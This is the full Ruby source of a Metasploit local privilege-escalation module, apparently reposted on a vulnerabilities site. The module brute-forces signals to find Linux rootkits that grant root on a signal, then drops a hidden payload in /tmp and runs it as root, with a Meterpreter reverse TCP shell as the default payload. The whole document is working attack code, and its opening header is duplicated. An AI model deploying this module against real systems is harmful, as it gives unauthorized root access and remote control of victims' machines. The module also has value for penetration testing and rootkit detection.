##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Deprecated
moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rootkit Privilege Escalation Signal Hunter',
'Description' => %q{
This module searches for rootkits which use signals to elevate
process privileges to UID 0 (root).
Some rootkits install signal handlers which listen for specific
signals to elevate process privileges. This module identifies these
rootkits by sending signals and observing UID switching to root.
This module has been tested successfully with:
Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
kernel 6.14.0-33-generic (x64);
Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
kernel 5.19.0-38-generic (x64);
Codeine 9644336 (2025-09-02) on Ubuntu 22.04
kernel 5.19.0-38-generic (x64).
},
'License' => MSF_LICENSE,
'Author' => 'bcoles',
# Diamorphine rootkit first publicly documented use of signals for process privesc?
'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
'References' => [
['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
['URL', 'https://github.com/m0nad/Diamorphine'],
['URL', 'https://github.com/h3xduck/Umbra'],
['URL', 'https://github.com/diego-tella/Codeine'],
['URL', 'https://github.com/MatheuZSecurity/Singularity'],
['URL', 'https://github.com/Asekon/RootKit'],
],
'Platform' => ['linux'],
'Arch' => [
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_RISCV64LE,
ARCH_RISCV32LE,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [
CRASH_OS_DOWN, # Poorly designed rootkits may crash
],
'SideEffects' => [
ARTIFACTS_ON_DISK,
SCREEN_EFFECTS, # Killing processes may spawn crash handler windows
]
},
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0
)
)
register_options([
OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', ''])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def cmd_exec_elevated(signal, cmd, pid)
vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")
# NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
# due to using "$!" which is not supported
res = cmd_exec(
%(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
nil,
5
).to_s
vprint_line(res) unless res.blank?
res
end
def check
return CheckCode::Unknown('Session already has root privileges') if is_root?
# NOTE: this will fail on non-POSIX shells (ie, fish)
# due to using "$$" which is not supported
pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID']
# Iterate from MIN to MAX sending each signal to PID.
#
# SIGCONT if the process hangs.
# Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
# due to using "$!" which is not supported
cmd = [
"i=#{datastore['MIN_SIGNAL']}",
%(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
%(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
'wait "$pid"',
'i=$((i + 1))',
'done 2>/dev/null'
].join('; ')
res = cmd_exec(
cmd,
nil,
60
)
vprint_line(res) unless res.blank?
return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')
CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
end
# @return Array of signals which can be used to elevate privileges to root
def brute_signals(min, max, pid)
print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
signals = []
(min..max).each do |signal|
signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
end
signals
end
def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)
pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID']
signals = brute_signals(
datastore['MIN_SIGNAL'],
datastore['MAX_SIGNAL'],
pid
)
fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?
print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")
payload_name = ".#{rand_text_alphanumeric(8..12)}"
payload_path = "#{base_dir}/#{payload_name}"
payload_data = generate_payload_exe
print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
write_file(payload_path, payload_data)
chmod(payload_path, 0o755)
register_file_for_cleanup(payload_path)
signals.each do |signal|
print_status("Trying signal #{signal} ...")
cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
sleep(5)
break if session_created?
end
end
end
Rootkit Privilege Escalation Signal Hunter
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 116